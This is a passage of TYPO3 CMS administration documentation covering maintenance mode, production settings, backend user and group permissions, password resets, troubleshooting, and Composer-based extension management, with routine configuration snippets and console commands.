RewriteRule ^.*$ %{ENV:CWD}index.php [QSA,L]
Copied!

NGINX configuration

NGINX configuration before:

location /typo3/ {
    absolute_redirect off;
    try_files $uri /typo3/index.php$is_args$args;
}
Copied!

NGINX configuration after:

location /typo3/ {
    absolute_redirect off;
    try_files $uri /index.php$is_args$args;
}
Copied!

Maintenance mode: Prevent backend logins during upgrade

Set the backend into maintenance mode to prevent editors or even all administrators and CLI tools to access the TYPO3 backend.

The maintenance mode is useful to prevent changes to the content during Patch/Bugfix update and Major upgrade, database backups or in any other case where you want to prevent backend users from accessing the backend.

Total shutdown for maintenance purposes

A system maintainer can achieve total TYPO3 backend shutdown for maintenance purposes in module Admin Tools > Settings > Configure Installation-Wide Options by setting [BE][adminOnly] to -1.

It is also possible to add and remove this setting manually to the additional.php:

config/system/additional.php | typo3conf/system/additional.php
// Lock the backend for editors, admins and CLI are allowed
$GLOBALS['TYPO3_CONF_VARS']['BE']['adminOnly'] = -1;
Copied!

This setting excludes any user, including administrators like yourself from accessing the TYPO3 backend or using any console command in vendor/bin/typo3. Scheduler tasks will also not be triggered.

A similar effect can be achieved by creating a flag file, LOCK_BACKEND via console command:

vendor/bin/typo3 backend:lock
Copied!

The flag file prevents any backend access, even by an administrator, it does however not disable the console command tool and can therefore be disabled via command:

vendor/bin/typo3 backend:unlock
Copied!

Lock the TYPO3 backend for editors

To prevent an installation's editors from logging into the TYPO3 backend during maintenance, go to module Admin Tools > Settings > Configure Installation-Wide Options and set [BE][adminOnly] to 2 if you additionally want to block console commands including scheduler tasks, set it to 1.

It is also possible to add and remove this setting manually in the additional.php:

config/system/additional.php | typo3conf/system/additional.php
// Lock the backend for editors while admins and CLI are still allowed
$GLOBALS['TYPO3_CONF_VARS']['BE']['adminOnly'] = 2;
Copied!

Production Settings

To ensure a secure installation of TYPO3 on a production server, the following settings need to be set:

  • Admin Tools > Settings > Configuration Presets The "Live" preset has to be chosen to make sure no debug output is displayed. When using environment specific configurations, the recommended way is to specifically set the values for error/debugging configuration values instead of presets, like:

    config/system/additional.php | typo3conf/system/additional.php
    $GLOBALS['TYPO3_CONF_VARS']['SYS']['displayErrors'] = '0';
    $GLOBALS['TYPO3_CONF_VARS']['SYS']['sqlDebug'] = '0';
    $GLOBALS['TYPO3_CONF_VARS']['FE']['debug'] = '0';
    $GLOBALS['TYPO3_CONF_VARS']['BE']['debug'] = '0';
    Copied!

    These can be set for example through the Configuring environments.

  • HTTPS should be used on production servers and $GLOBALS['TYPO3_CONF_VARS']['BE']['lockSSL'] should be set to true.
  • Enforce HSTS (Strict-Transport-Security header) in the web servers configuration.
  • The TYPO3_CONTEXT environment variable should be set to a main context of Production (can be verified on the top right in the TYPO3 backend Application Information). It should be used to select the appropriate base variant for the target system in the Site Configuration.
  • Configure the TYPO3 logging framework to log messages of high severity including and above WARNING or ERROR and continue to rotate log files stored in var/log.
  • Verify the file permissions are correct on the live system.

Backend user management

We saw earlier that TYPO3 CMS enforces a strict separation of "frontend" and "backend". The same is true for users: there are "frontend users", who are web site visitors, and "backend users", who are editors and administrators.

Working with frontend users is discussed in the Editors Guide. We will now look at backend users and how to set up groups and permissions.

Adding Backend Users

Create additional backend users that will have access to TYPO3's backend interface.

Groups and Permissions

User user groups to manage the permissions of your backend users / editors.

Changing The Backend Language

Setup additional backend languages in TYPO3 allowing users to select an alternative language to use in the backend.

Backend Users module

You can manage backend users using the System > Backend users module.

Screenshots of the TYPO3 backend module Backend Users

This module makes it possible to search and filter users. They can also be edited, deleted and disabled.

The backend module has the following submodules:

Backend Users submodule

Will be shown by default unless you have chosen a different submodule from the dropdown in the module header. You can Create new backend users or Administrators here, enable and disable access for your users, reset password of non-admins, etc.

Overview of buttons in the entry of a non-admin backend user

  1. Edit user settings.
  2. Disable or enable user.
  3. Delete user.
  4. Reset password - only available if the user has an email address in their settings. Will send an email to the user asking them to enter a new password.
  5. View user details, including a combined view of their permissions incorporating all their groups and settings in the user record. Overview of User TSconfig reference that apply to this user.
  6. The general info module for the record of the backend user including references from other database records.
  7. Compare the permissions of two or more backend users by adding them to the compare list. You can then click the "Compare selected backend users" button.
  8. Simulate the backend user to try out the permissions.

Backend user groups submodule

Screenshot of the Module "Backend Users", submodule "Backend User Groups" in the TYPO3 Backend

Gives you an overview of all backend user groups and allows you to edit, disable, delete and compare permissions of groups.

Online users submodule

Shows you a list of all currently online users, including those who logged in during the last two hours but never logged out.

File mounts submodule

Screenshot of the Module "Backend Users", submodule "File mounts" in the TYPO3 Backend

Allows you to view, edit, disable or delete file mounts.

Adding backend users

If you do not have backend user groups set up, go to chapter Backend user groups.

If you need to create an administrator or system maintainer, go to chapter Backend Privileges.

Create a new backend user via a console command

You can quickly create a backend user using a TYPO3 console command and following the prompt:

ddev typo3 typo3 backend:user:create
Copied!
vendor/bin/typo3 typo3 backend:user:create
Copied!
typo3/sysext/core/bin/typo3 typo3 backend:user:create
Copied!

Create a backend user in the TYPO3 backend

If you prefer to use the TYPO3 backend, in the backend module System > Backend Users use the dropdown in the module header to switch back to the "Backend Users" submodule. There is a button to create a new backend user there.

The main submodule Backend users of the backend user module

Click the button "Create new backend user"

Enter the username, password and group membership:

Setting the base information for the new user

Simulate User

Save and close the record. We will check the result of our work by using the simulate user feature we saw earlier.

A backend user in the backend user module with their action buttons.

Click the switch to user button

If you used the default "Editors" group you should see this:

The TYPO3 backend viewed by a standard editor

Use the User menu on the top right to find the "Exit switch user mode" button and switch back to your admin world.

Backend privileges: Administrators and System Maintainers

The following chapters cover modules that will only be available for backend users with specific access privileges.

In addition to configuring access rights for backend users or groups as described in Setting up user group permissions, there are "superuser" rights which can be activated for each user.

If a backend user has been created for editing in the backend, he or she should usually not get access to admin or system modules.

You should only give a backend user as much access as is needed. This makes the job easier by automatically deactivating modules and GUI elements that the user does not have access to. It also makes it impossible for a user to damage the system by accidentally doing things he or she should not have been able to do in the first place.

Administrators

Screenshot of the TYPO3 backend as seen by an Administrator. The Backend user module menu is opened.

Administrators have access to the System modules, including Permissions, Backend User, Log etc.)

System Maintainers

The first backend admin created during installation will automatically be a system maintainer as well. To give other users system privileges, you can add them in the ADMIN TOOLS > Settings > Manage System Maintainers configuration. Alternatively, the website can be set to "Development" mode in the Install Tool. This will give all admin users system maintainer access.

Screenshot of the TYPO3 backend as seen by a System Maintainer. The Admin Tools module menu is opened.

System Maintainers are the only users who are able to see and access Admin Tools, including the Extension Manager.

System Maintainers are persisted within the config/system/settings.php as $GLOBALS['TYPO3_CONF_VARS']['SYS']['systemMaintainers'] .

Backend user groups

While it is possible to change permissions on a user basis, it is strongly recommended you use Groups instead. Just like users, there are "Backend user groups" and "Frontend user groups".

See chapter Setting up User Permissions for fine tuning of user group permissions.

Console command to create backend user groups from presets

New in version 13.2

With the introduction of backend user presets it is now possible to create basic user groups via command.

You can use the vendor/bin/typo3 setup:begroups:default to create pre-configured backend user groups without touching the TYPO3 backend.

vendor/bin/typo3 setup:begroups:default
Copied!
typo3/sysext/core/bin/typo3 setup:begroups:default
Copied!

An interactive dialog will then ask which groups should be created. It is also possible to specify the groups:

vendor/typo3 setup:begroups:default --groups Both
vendor/typo3 setup:begroups:default --groups Editor
vendor/typo3 setup:begroups:default --groups "Advanced Editor"
Copied!
typo3/sysext/core/bin/typo3 setup:begroups:default --groups Both
typo3/sysext/core/bin/typo3 setup:begroups:default --groups Editor
typo3/sysext/core/bin/typo3 setup:begroups:default --groups "Advanced Editor"
Copied!

Using the "Backend Users" module

If you have not auto-created the user groups, create one in the backend module System > Backend Users. Use the dropdown in the module header to switch to the "Backend User Groups" submodule.

Screenshot of the Module "Backend Users", submodule "Backend User Groups" in the TYPO3 Backend

Click the button "+ Create a new backend user group" if you want to create a new group. Or edit one of those created by the command.

Start by entering the name for the new group. Optionally, inherit from group "Editors".

Tab General with the backend user group title and Group inheritance

Enter a name for the group

Let us keep things simple for the further permissions.

Go to tab Module Permissions:

Tab "Module Permissions" with the list of allowed modules

For Allowed Modules choose "Web > Page" and "Web > View"

Then move to tab Record Permissions:

Tab "Record Permissions", field "Table Permissions" with option Read & Write chosen for tables Page and Page Content

Choose Table Permissions choose "Read & Write" for tables Page and Page content

On the same tab in field "Allowed page types" choose "Standard".

Move to the "Mounts and workspaces" tab.

Tab "Mounts and workspaces" in the backend user group edit form.

Select the "Startpage" page as DB mount (starting point for the page tree).

Then save the user group by clicking the "Save" button in the module header.

Setting up user group permissions

We will look into managing user permissions by editing the "Advanced editors" user group.

Screenshot of the Module "Backend Users", submodule "Backend User Groups" in the TYPO3 Backend

"General" tab - backend user groups

On the "General" tab you can edit the group's title and write a short description. As mentioned before, permissions from sub-groups will be inherited by the current group.

Tab General with the backend user group title and Group inheritance

Content of the "General" tab when editing a backend user group

Inherit settings from groups" section of tab "General" in backend user groups

If you chose groups in the "Inherit settings from groups" section of tab "General", the current group inherits all the permissions of the parent group and can add additional permissions. It is not possible to revoke permissions granted by the parent group.

User TSconfig of the parent group gets overridden by TSconfig of the child group and then, in turn, by the specific TSconfig of the backend user. See also Setting user TSconfig.

"Record Permissions" tab - backend user groups

"Allowed page types" section in Record permissions of user group

You should allow at least the "Standard" page type if you want your editors to be able to create new pages.

See also Editors Guide, page types.

"Table permissions" section in Record permissions of user group

This section allows you to grant "read" or "read and write" permissions for different database tables.

If your user should be able to upload and reference images, for example use the content element "Text & Images", it is important that they also be able to read and write the tables "File Reference" and "File" beside also having permissions to actually write saved files.

Screenshot of Tab "Record Permissions", field "Table Permissions" in a user group record

"Allowed fields" section in Record permissions of user group

When defining table fields in TYPO3, you can mark them as excluded in TCA. Such fields are hidden from backend users (except administrators) unless they are explicitly granted access. This field manages that access by displaying a list of all tables and their excluded fields.

Section "Allowed fields" in tab "Record permissions" of the user group record

Click on a table name and select allowed fields

"Explicitly allow field values" section in Record permissions of user group

By default you can choose which content element types are allowed for a backend group in this section. Some extensions might add additional tables and their values here.

A content element type not checked in this section cannot be added or edited by a user of this group.

Section "Explicitly allow field values" in tab "Record permissions" of the user group record

"Limit to languages" section in Record permissions of user group

In a multilingual web site, it is also possible to restrict users to a specific language or set of languages.

Section "Limit to languages" in tab "Record permissions" of the user group record

"Module Permissions" tab - backend user groups

The section "Allowed modules" grants access to different backend modules.

Tab "Module Permissions" with the list of allowed modules

If you allow the module "Dashboard" you should also explicitly choose "Allowed dashboard widgets" in the next section.

MFA is only possible if you allow at least one provider in section "Allowed multi-factor authentication providers".

"Mounts and Workspaces" tab - backend user groups

The next tab contains very important fields which define which parts of the page tree and the file system the members of the group may have rights over.

We will cover only mounts here. Detailed information about workspaces can be found in chapter Users and groups for workspaces

"DB Mounts" in tab "Mounts and Workspaces"

Unless at least one DB mount is chosen your user does not have rights to any page record and will not be able to do anything in the backend.

Each mount corresponds to a page in the tree. The user will have access only to those pages and their sub-pages.

Tab "Mounts and workspaces" in the backend user group edit form.

You can grant additional entry pages in the database record of the backend user. If option "Mount from groups" is not set for "DB Mounts" you can even override all db mounts.

"File Mounts" in tab "Mounts and Workspaces"

File mounts are similar to DB mounts but instead are used to manage access to files.

File mounts need to be created first, for example using the context menu on the file tree in module "Filelist", or in the File mounts submodule of the Backend Users module

They can then be selected when editing a backend user group:

Section "File Mounts" in tab "Mounts and Workspaces" in the backend user group edit form.

Select the File mount by clicking on the right and adding them to the left.

Just like DB mounts, you can grant additional file mounts in the database record of the backend user. If option "Mount from groups" is not set for "File Mounts" you can even override all file mounts.

"File operation permissions" in tab "Mounts and Workspaces"

Specific operations on files and directories must be allowed. Choose either "Directory" or "Files" and start checking boxes.

Category mounts

It is possible to limit the categories that a user can attach to a database record by choosing the allowed categories in the field "Category mount". If no category is selected in the category mount, all categories are available.

Page permissions

Changed in version 13.2

The module to handle page permissions has been renamed from Access to Permissions.

DB mounts are not the whole story about access to pages. Users and groups also need to have rights to perform operations on the pages, like viewing, editing or deleting.

This is managed using the System > Permissions module:

TYPO3 Backend module called Permissions showing an overview of page owners and permissions

The "Permissions" module with ownerships and permissions

Every page has an owner, who is a user, and also group membership. Rights can be assigned to the owner, to the group or to everyone. This will be familiar to Unix users.

To change the permissions, click on the edit button.

Changing a pages user group

It is also possible to change owner, group and permissions recursively, even for the whole page tree. Use the dropdown to select the depth.

Preparing for recursively changing the group on the whole page tree

By choosing group "Editors" as group and then "Set recursively 2 levels" in the "Depth" dropdown, we will assign all pages in the page tree to the "Editors" group.

Changing the backend language

By default, TYPO3's backend is set to English with no additional languages available.

Load an additional language pack

An additional language pack can be installed as an administrator in the backend:

  1. Go to Admin Tools > Maintenance > Manage Languages Packs

    Manage language packs

    Open the backend language administration module

  2. Select Add Language and activate the new language:

    Add a language

    Add the desired language

  3. The selected language is now available:

    A language has been added

Set the language as backend language for yourself

One of the available backend languages can be selected in your user account. Go to Toolbar (top right) > User Avatar > User Settings and select the new language from the field Language:

The tab "Personal data" of the User settings, including field "Language"

Save the settings and reload the browser content.

Change the default backend language of a backend user

As an administrator you can change the backend language of another user.

In the record of the backend user, tab general, choose "User interface language".

This setting only takes effect for users that did not switch the backend language in their user settings.

TYPO3

Resetting Passwords

Backend Administrator Password

When the password for a backend user needs to be reset, log into the backend with an alternative user and use the System > Backend Users tool to reset the users password. Note that only backend users with administrative rights can access the Backend Users tool to make this change.

If an alternative administrator account is not available or it doesn't have the appropriate access, the Install Tool can be accessed directly using the following address to create a new administrative user:

https://example.com/typo3/install.php
Copied!

The Install Tool requires the "Installation Password" that would have been set when TYPO3 was installed.

The install tool login

Enter the install tool password

Once logged in to the Admin Tool go to Maintenance > Create Administrative User and select Create Administrator. In this dialogue you can create a new administrative user.

Button to create an administrator

Create a new administrative user

Form to create an administrator

Fill in the fields for the new administrative user

Use this new administrator account to log into the TYPO3 backend. In the module Backend Users you can change the passwords of existing users, including administrators.

Install Tool Password

Write access to config/system/settings.php (in Classic mode installations typo3conf/system/settings.php) is required to reset the Install Tool password.

Before editing this file, visit:

https://example.com/typo3/install.php
Copied!

Enter the new password into the dialogue box. As the new password is not correct, the following response will be returned:

Example Output
"Given password does not match the install tool login password. Calculated hash:
$argon2i$v=xyz"
Copied!

Copy this hash including the $argon2i part and any trailing dots.

Then edit config/system/settings.php and replace the following array entry with the new hashed password:

config/system/settings.php
'BE' => [
   'installToolPassword' => '$argon2i$v=xyz',
],
Copied!

Debug Settings

During troubleshooting, in the "Settings > Configuration Presets" section of the Install Tool, under "Debug settings", the "Debug" preset can be change to show errors in the frontend.

Configuration Presets Card

Choose a configuration preset

Debug Presets

Choose the debug preset

The following TypoScript setting can also be added to the root TypoScript for the site to show additional debug information. This is particularly useful when debugging Fluid errors:

config/sites/my_site/setup.typoscript
config.contentObjectExceptionHandler = 0
Copied!

Additionally, the following logs should be checked for additional information:

  • Webserver log files for general problems (e.g. /var/log/apache2 or /var/log/httpd on Linux based systems)
  • TYPO3 Administration log in SYSTEM > Log via TYPO3's backend.
  • TYPO3 logs written by the Logging Framework located in var/log or typo3temp/var/log depending on the installation setup.

Caching

Cached Files in typo3temp/

TYPO3 generates temporary "cached" files and PHP scripts in <var-path>/cache/ (either typo3temp/var/cache or var/cache depending on the installation). You can remove the entire <var-path>/cache directory at any time; the directory structure and all the caches will be re-written on the next time a visitor accesses the site.

A shortcut to remove these caches can be found in the Install Tool, under Important Actions. This might be useful in the event your cache files become damaged and your system is not running correctly. The Install Tool won't load any of these caches or any extension, so it should be safe to use regardless of the corrupt state of the Caches.

Amongst other caches, under <var-path>/cache/code/core/ you will find:

<var-path>/cache/code/core/
-rw-rw----   1 www-data   www-data   61555  2014-03-26 16:28   ext_localconf_8b0519db6112697cceedb50296df89b0ce04ff70.php
-rw-rw----   1 www-data   www-data   81995  2014-03-26 16:28   ext_tables_c3638687920118a92ab652cbf23a9ca69d4a6469.php
Copied!

These files contain all ext\_tables.php and ext\_localconf.php files of the installed extensions concatenated in the order they are loaded. Therefore including one of these files would be the same as including potentially hundreds of PHP files and should improve performance.

Possible Problems With the Cached Files

Changing the absolute path to TYPO3

If you change the path of the TYPO3 installation, you might receive similar errors that include "Failed opening ..." or "Unable to access ...". The problem is that absolute file paths are hard-coded inside the cached files.

Fix: Clean the cache using the Install Tool: Go to "Important Actions" and use the "Clear all caches" function. Then hit the page again.

Changing Image Processing Settings

When you change the settings for Image Processing (in normal mode), you must take into account that old images may still be in the typo3temp/ folder and that they prevent new files from being generated! This is especially important to know, if you are trying to set up image processing for the very first time.

The problem is solved by clearing the files in the typo3temp/ folder. Also make sure to clear the database table "cache_pages".

System Modules

The following system modules can help when trying to troubleshoot issues with TYPO3. Administrative rights are required.

Log

The TYPO3 CMS backend logs a number of actions performed by backend users: login, cache clearing, database entries (creation, update, deletion), settings changes, file actions and errors. A number of filters are available to help filter this data.

DB Check

The Database (DB) Check module provides four functions related to the database and its content.

Record Statistics
Shows a count of the various records in the database, broken down by type for pages and content elements.
Search
A tool to search through the whole database. It offers an advanced mode which is similar to a visual query builder.
Check and update global reference index
TYPO3 CMS keeps a record of relations between all records. This may get out of sync when certain operations are performed without the strict context of the backend. It is therefore useful to update this index regularly.

Configuration

The Configuration module can be used to view the various configuration arrays used by the CMS.

Reports

The Reports module contains information and diagnostic data about your TYPO3 CMS installation. It is recommended that you regularly check the "Status Report" as it will inform you about configuration errors, security issues, etc.

PHP

Missing PHP Modules

The "System Environment" section of the Install Tool provides detailed information about any missing PHP modules and any other settings that may not be configured correctly.

For example, the PHP extensions openssl and fileinfo must be enabled. This can be achieved by adding (or uncommenting) the following lines in the [PHP] section of your php.ini file:

php.ini
extension=fileinfo.so
extension=openssl.so
Copied!

On a Windows-based server, these are the extension files:

php.ini
extension=php_fileinfo.dll
extension=php_openssl.dll
Copied!

PHP Caches, Extension Classes etc.

There are some situations which can cause what appear to be illogical problems after an upgrade:

  • If extensions override classes in which functions have changed. Solution: Try disabling all extensions and then enable them one by one until the error recurs.
  • If a PHP cache somehow fails to re-cache scripts: in particular, if a change happened to a parent class overridden by a child class which was not updated. Solution: Remove ALL cached PHP files (for PHP-Accelerator, remove /tmp/phpa_*) and restart Apache.

Opcode cache messages

No PHP opcode cache loaded

You do not have an opcode cache system installed or activated. If you want better performance for your website, then you should use one. The best choice is OPcache.

This opcode cache is marked as malfunctioning by the TYPO3 CMS Team.

This will be shown if an opcode cache system is found and activated, which is known to have "too many" errors and won't be supported by TYPO3 CMS (no bugfixes, security fixes or anything else). In current TYPO3 versions only OPcache is supported

This opcode cache may work correctly but has medium performance.

This will be shown if an opcode cache system is found and activated, which has some nitpicks. For example we cannot clear the cache for one file (which we changed) but only can reset the complete cache itself. This will happen with:

  • OPcache before 7.0.2 (Shouldn't be out in the wild.)
  • APC before 3.1.1 and some mysterious configuration combinations.
  • XCache
  • ZendOptimizerPlus

This opcode cache should work correctly and has good performance.

Well it seems that all is ok and working. Maybe you can tweak something more but this is out of our knowledge of your user scenario.

Web Server

Apache

Some settings may require adjustment for TYPO3 to operate correctly This will vary depending on the host operating system and the version of Apache that is installed.

Enable mod_rewrite

If mod_rewrite is not enabled, the URL handling will not work properly (specifically the mapping of the URLs TYPO3 uses internally for "speaking URLs") and you might receive 404 (page not found) errors.

For example, the modules can be enabled by editing your http.conf file, locating the required modules and removing the preceding hash symbol:

http.conf
#LoadModule expires_module modules/mod_expires.so
#LoadModule rewrite_module modules/mod_rewrite.so
Copied!

After making any changes to the Apache configuration, the service must be restarted.

Adjust ThreadStackSize on Windows

If you are running TYPO3 on Windows, the extension manager might not render.

This problem is caused by the value of ThreadStackSize, which on Windows systems by default is set too low. To fix this, add the following lines at the end of your httpd.conf file:

http.conf
<IfModule mpm_winnt_module>
  ThreadStackSize 8388608
</IfModule>
Copied!

Database

MySQL

Character Set

TYPO3 uses UTF-8 encoding, you will need to ensure that your instance of MySQL also uses UTF-8. When installing TYPO3 for the first time, you can select UTF-8 encoding when you create the database for the first time. For an existing database, you will have to set each table and column to use UTF-8.

TYPO3 extension management with Composer

Install or require an extension with Composer

Composer distinguishes between requiring and installing an extension. By default you can require any package registered on https://packagist.org/ and compatible with your current requirements.

Composer require

When you use the command composer require or its abbreviated, shortened version composer req the requirement will be added to the file composer.json and Composer installs the latest version that satisfies the version constraints in composer.json, and then writes the resolved version to composer.lock.

For example, to install the extension georgringer/news :

# Install the news extension
composer require georgringer/news
Copied!

If necessary you can also require the extension by adding a version requirement:

# Install the news extension in version 12.3.0 or any minor level above
composer require georgringer/news:"^12.3"

# Install the news extension from the main branch
composer require georgringer/news:"dev-main"
Copied!

Composer will then download the extension into the vendor folder and execute any additional installation steps.

You can now commit the files composer.json and composer.lock to Git.

Composer install

If the same project is installed on other systems — such as a co-worker’s computer or the production server (if you are working with Git and Composer deployment) — you do not need to run composer require again. Instead, use composer install to install the exact versions defined in composer.lock:

git update

# Install versions that have been changed
composer install

# Rerun the setup for all extensions
vendor/bin/typo3 extension:setup
Copied!

List extensions

Just like in the TYPO3 core, extensions are individual Composer packages. You can list all installed packages, including extensions, using the following command:

composer info
Copied!

This will display a list of all installed packages along with their names and version numbers.

Extension setup

Many extensions make TYPO3-specific changes to your system that Composer cannot detect. For example, an extension might define its own database tables in the TCA or require static data to be imported.

You can run the following command to set up specific or all extensions:

# Setup the extension with key "news"
vendor/bin/typo3 extension:setup --extension=news

# Setup all extensions
vendor/bin/typo3 extension:setup
Copied!

You can also Automate extension setup.

Automate extension setup

You can run the extension setup command automatically after each require / install / update command by adding it to the script section of your project's composer.json:

composer.json (Excerpt)
{
    "scripts":{
        "typo3-cms-scripts": [
            "vendor/bin/typo3 extension:setup"
        ],
        "post-autoload-dump": [
            "@typo3-cms-scripts"
        ]
    }
}
Copied!

Installing a custom extension or site package via Composer

In most projects there will be one special extension per site, called a site package, that contains the theme and configuration for that site.

There could also be custom extensions only for a specific domain in that project.

Both these types of extensions should be placed in the packages folder and required in Composer as local (@dev) versions. This will create a symlink from packages to vendor, allowing the extensions to be used like any other package.

  1. Place the extension into the folder packages so that its composer.json can be found at packages/ext_key/composer.json
  2. Require the extension using Composer and specifying the @dev version:

    # Require a custom site package
    composer require myvendor/my-site-package:"@dev"
    
    # Require a custom extension
    composer require myvendor/my-local-extension:"@dev"
    Copied!

Composer install will work as described in Composer install if the extension is available on the system where you run the composer install command.

You will usually commit the files composer.json, composer.lock and the content of the packages folder to the same Git repository.

Installing extensions from a different source

You can define Composer repositories to install packages (including TYPO3 extensions) from different sources like Git, a local path and Private Packagist.

After adding the repository to your project's composer.json, you can require the extension using the standard composer require command.

composer.json (Excerpt)
{
    "repositories": [
        {
            "type": "vcs",
            "url":  "git@bitbucket.org:vendor/my-private-repo.git"
        },
        {
            "type": "artifact",
            "url": "path/to/directory/with/zips/"
        },
        {
            "type": "path",
            "url": "../../local_packages/my_custom_extension/"
        },
        {
            "type": "path",
            "url": "site_packages/*"
        }
    ]
}
Copied!

Extension update via Composer

The following command updates all installed Composer packages (both TYPO3 extensions and other PHP packages/libraries) to the newest version that the current constraints in your composer.json allow. It will write the new versions to file composer.lock:

# Warning: Make a backup of composer.json and composer.lock before proceeding!
composer update
Copied!

If you want to do a major Upgrade, for example from georgringer/news Version 11.x to 12.x, you can require that extension with a different version number:

# Attention make a backup of the composer.json and composer.lock first!!
composer require georgringer/news:"^12"
Copied!

Downgrading an extension

If an extension does not work after upgrade you can downgrade the extension by requiring a specific version:

# Attention make a backup of the composer.json and composer.lock first!!
composer require georgringer/news:"12.0.42"
Copied!

The extension will remain locked to the specified version and will not be updated until you change the version constraint using the composer require command.

Reverting extension updates

As a last resort you can revert any changes you have made by restoring the files composer.json and composer.lock and running the command composer install:

# restore composer.json and composer.lock
git stash

# Reinstall previously used versions
composer install
Copied!

Removing an extension via Composer

You can remove an extension requirement from your project's composer.json by using the command composer remove, but bear in mind that the extension will only be uninstalled if it is no longer required by any of the installed packages.

# Check the extension is not in use first!
# composer remove georgringer/news
Copied!

Composer will not check if the extension is currently in use. Composer can only check if the extension is listed in the require section of the composer.json file of another extension.

Check if the extension is in use

Manually verify whether the extension is still in use before uninstalling it.

  • Does the extension have Site sets that are required by a site configuration or another extension's site set?
  • Are you using any plugins or content elements provided by the extension? Tip: Extension fixpunkt/backendtools lists all plugins and content elements that are in use.
  • Have you included any TypoScript provided by the extension? Or tables defined by its TCA? Does it include Middleware, Console commands (CLI) or any other functionality that your project relies on?

Why an extension cannot be uninstalled

If Composer refuses to remove an extension with composer remove you can run the following command to find out what other packages require the Extension you want to remove:

# Show which package requires the extension
composer why georgringer/news
Copied!

In very stubborn cases the following tricks can help:

Ensure you have a backup of the files composer.json and composer.lock or have committed them to Git.

Then delete the vendor folder (it will be restored by Composer), delete composer.lock and run composer install. This will reinstall your requirements from your composer.json. Deleting the Composer cache first might also help.

composer clear-cache
rm -rf vendor/
rm composer.lock
composer install
Copied!

Installing Extensions - Classic mode

Installing an Extension using the Extension Manager

In the backend:

  1. Go to Admin Tools > Extensions
  2. In the Docheader, select Get Extensions
  3. Click Update now

    The button is on the top right.

  4. Enter the name of the extension in the search field
  5. Click on Go
  6. Click on the Action icon on the left for the extension:

    Import and Install

    Now the extension is installed, but not activated. To activate:

  7. Choose Installed Extensions in the Docheader
  8. Click on the icon with a + sign for your extension in the A/D column.

Uninstall an Extension Without Composer

If you installed TYPO3 via composer you should uninstall Extensions via composer.

Check Dependencies

First find out, which other extensions and functions of your TYPO3 installation are dependent on the extension you want to uninstall. You can find out about the dependencies by checking the TYPO3 Extension Repository (TER). Look for the extension you want to uninstall and the others you have installed. Read in each extensions manual the sections 'Dependencies' and 'Reverse dependencies'.

Check whether any referrals have been made to the extension in any setup, config or other TypoScript files. Check if you included a plugin from the extension in your web site. Think of the results of removing them and finally do it.

If you are working locally or on a test server you might as well try to uninstall the extension. The Extension Manager warns you about dependencies that are written in an extensions ext_emconf.php constraints section. Note however that you depend on the extensions developers faithfully noting all dependencies in this config file.

If you get an exception and cannot access the Extension Manager anymore because of it, you can uninstall / install extensions manually with PackageStates.php as a last resort, see Uninstalling an Extension Manually

Uninstall / Deactivate Extension via TYPO3 Backend

Select "Deactivate" in Extension Manager

Log into the TYPO3 Backend and open the module Admin tools > Extensions. From the menu choose Install extensions. You get an overview about installed extensions.

On the left side you see an icon, which shows the status of each extension, and what you can do:

  • Extension Install Icon with plus sign: The extension is not installed. (Click once to install)
  • Extension Uninstall Icon with minus sign: The extension is installed and running. (Click once to uninstall)

Next to the extension you want to uninstall click on Extension UnInstall Icon. After some seconds the icon changes to the grey Extension Install Icon.

Remove an Extension via the TYPO3 Backend

After successfully uninstalling an extension via the Extension Manager you can permanently remove the extension by clicking on the waste-basket symbol "Remove" beside the extensions entry in the Extension Manager.

Uninstalling an Extension Manually

At times an extension causes a problem and the TYPO3 Backend can not be opened anymore due to it. In such a case the extension can be uninstalled manually. This is not common practise but a last resort.

This can be done by removing the extensions configuration from the file PackageStates.php

  1. Open the file typo3conf/PackageStates.php
  2. Search for your ext_key in the array.

    typo3conf/PackageStates.php
    'ext_key' => [
          'packagePath' => 'typo3conf/ext/ext_key/',
    ],
    //...
    Copied!
  3. Remove the entry.

Removing an extension manually

Removing an extension manually is not common practice and should only be done as a last resort. You should only remove an extension that you uninstalled successfully. Make a backup first. Then you can permanently remove an extension by removing its folder at typo3conf/ext/[extensionname]. The corresponding database tables can be removed in the Admin Tools > Maintenance > Analyze Database Structure.

Permissions management

Introduction

TYPO3 is known for its flexibility and the ability to be expanded. It's packed with lots of built-in features and can be easily customized to fit your needs. That's why it is equipped with an advanced way to manage who gets access to different parts of the system. This solution works well for both small and large projects, allowing for detailed setting of permissions for various user roles, each with different levels of access.

The access options in the TYPO3 backend are split into different areas. They can be configured at the levels of users and groups. Access can be set up for specific modules and pages, database mounts, file storage, content elements, and also individual fields within content elements.

A well-thought out initial setup is particularly important for permissions management. Skipping this step can introduce complex issues as your project expands. As time passes, managing access levels can turn into a challenging and time-consuming task. In extreme situations, you might find yourself needing to overhaul your permissions setup entirely. Moreover, improper permission setup could lead to a risky workaround: granting administrative privileges to users who shouldn't have them, even though it may seem like a quick fix at the time. This approach compromises security and deviates from best practice.

We also recognize that each project is unique and may require a distinct setup for permissions. Therefore, please consider this document as a compilation of recommended practices and guidelines that could be beneficial in managing permissions within the TYPO3 backend. However, remember that these recommendations are adaptable and can be tailored to suit your specific requirements.

What access options can be set within TYPO3?

Access options in TYPO3 are categorized into several distinct groups. For a more detailed exploration, refer to the Access Control Options documentation page. However, here's a quick overview to give you an idea of what to consider when configuring permissions in the backend.

Access lists

Modules - A list of submodules accessible to a user

Dashboard widgets - A selection of dashboard widgets that a user can be permitted to use on the dashboard

Tables for listing - A list of tables that a user is permitted to view in the backend

Tables for editing - A list of tables that a user is permitted to edit in the backend

Page types -A list of page types that a user is allowed to use within the pages tree

Excludefields - A list of default-excluded fields (columns) within tables, requiring explicit access permission

Explicitly allow/deny field values - A list of options within select fields whose access is restricted and must be explicitly granted

Languages - Restricts access to content in selected languages only

Mounts

Database Mounts - Specifies which parts of the pages tree are accessible to the user.

File Mounts - Specify accessible folders within storage for users

Category Mounts - Specify which sections of the system's categories tree are accessible to the user

Page permissions
Grant access to individual pages based on user and group IDs.
User TSConfig
A TypoScript-defined, flexible, and hierarchical configuration for "soft" permissions and backend customization for users or groups

Visualizing this overview of Access Control Options will help in developing the naming convention for backend groups later on.

General recommendations

Recommendations outlined in this chapter, although not directly focused on setting permissions in TYPO3, are closely related due to the various security aspects described. It is advisable to thoroughly review these recommendations before proceeding to the next chapter, where guidance on establishing top-level backend groups corresponding to different roles, such as editors, proofreaders, and others, is explained.

Create user-specific accounts

